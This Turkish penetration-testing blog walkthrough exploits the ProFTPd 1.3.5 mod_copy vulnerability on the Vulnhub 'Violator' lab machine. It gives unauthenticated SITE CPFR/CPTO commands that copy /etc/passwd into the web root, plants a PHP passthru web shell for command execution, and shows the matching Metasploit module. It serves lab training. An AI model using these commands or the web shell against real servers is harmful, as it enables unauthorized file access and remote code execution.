ProFTPd 1.3.5 Sunucusunda mod_copy modülünün İstismar Edilerek Komut Satırı Erişiminin Elde Edilmesi

0
1970
views
Sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile hedef sistemin komut satırına erişim sağlanabilir. Bu yazıda, ProFTPd 1.3.5 ile FTP hizmeti veren Violator sanal makinesi üzerindeki uygulama zafiyeti istismar edilerek FTP servisini çalıştıran uygulama kullanıcı hesabının (proftpd) hakları ile dosya okunabilecek ve komut satırı erişimi elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Violator sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/violator-1,153/

Violator sanal makinesinde FTP sunucu uygulaması olarak ProFTPd 1.3.5 kullanıldığı görülmektedir.

nmap -Pn -n –open 10.10.2.158 -p21 -sV

 

Bu sürüme ait istismar kodu exploit-db sitesinden elde edilebilir.

https://www.exploit-db.com/exploits/36742/

 

Bu istismara göre; ProFTPd 1.3.5 sürümündeki “mod_copy” modülünün “SITE CPFR” ve “SITE CPTO” komutları yetkisiz kullanıcılar tarafından çalıştırılabilir ve kimlik doğrulamamış olan herhangi bir kullanıcı hedef sunucudaki dosyayı okuyabilir veya dosyaya yazabilir.

Bu sunucuya herhangi bir kullanıcı adı ve parola bilgisi ile bağlantı kurulduğunda çalıştırılabilecek komutlar listelenebilmektedir.

ftp 10.10.2.158
site help

 

Kimlik doğrulamayan kullanıcılar tarafından çalıştırılabilecek olan “SITE” komutlarından “CPFR” ile kurban sistem üzerindeki dosya kopyalanır ve “CPTO” ile belirtilen dizine yapıştırılır.

site CPFR /etc/passwd
site CPTO /var/www/html/passwd_dosyasi
site CPFR /etc/shadow
site CPTO /var/www/html/shadow_dosyasi

 

Not: FTP servisini çalıştıran uygulama kullanıcı hesabının (proftpd) “/var/www/html” klasörüne yazma yetkisi olduğu için okuma yetkisi dahilindeki “/etc/passwd” dosyasını kök web dizinine atabilmiştir. Bunun yanında uygulama kullanıcı hesabının (proftpd) “/etc/shadow” dosyasını okuma yetkisi olmadığı için bu dosya kopyalanamamıştır.

ps -ef | grep proftpd | grep -v grep

 

Sonuç olarak “/var/www/html” klasörüne atılan “/etc/passwd” dosyası okunabilmektedir.

http://10.10.2.158/passwd_dosyasi

 

Benzer olarak hedef sistemde komut enjeksiyonu zafiyetine sebap olabilecek bir dosya oluşturularak disk sistemine kaydedilebilir.

site CPFR /proc/self/cmdline
site CPTO /tmp/<?php passthru($_GET[‘Komut’]);?>
site CPFR /tmp/<?php passthru($_GET[‘Komut’]);?>
site CPTO /var/www/html/erisim.php

 

URL’deki “Komut” parametresindeki komut enjeksiyonu ile işletim sisteminde komut çalıştırılabilmektedir.

echo “…Komut Calistirilabilir…”
uname -a
id
head -5 /etc/passwd

http://10.10.2.158/erisim.php?Komut=echo%20%22…Komut%20Calistirilabilir…%22;uname%20-a;id;head%20-5%20/etc/passwd

 

Aynı işlem Metasploit Framework ile otomatik olarak da gerçekleştirilebilir.

use exploit/unix/ftp/proftpd_modcopy_exec
set RHOST 10.10.2.158
set SITEPATH /var/www/html
show options

 

Modül çalıştırılır.

run
id
hostname
head -5 /etc/passwd
uname -a

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • digitalworld.local: JOY: https://www.vulnhub.com/entry/digitalworldlocal-joy,298/

 

Kaynak:

Violator vulnhub VM walkthrough

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.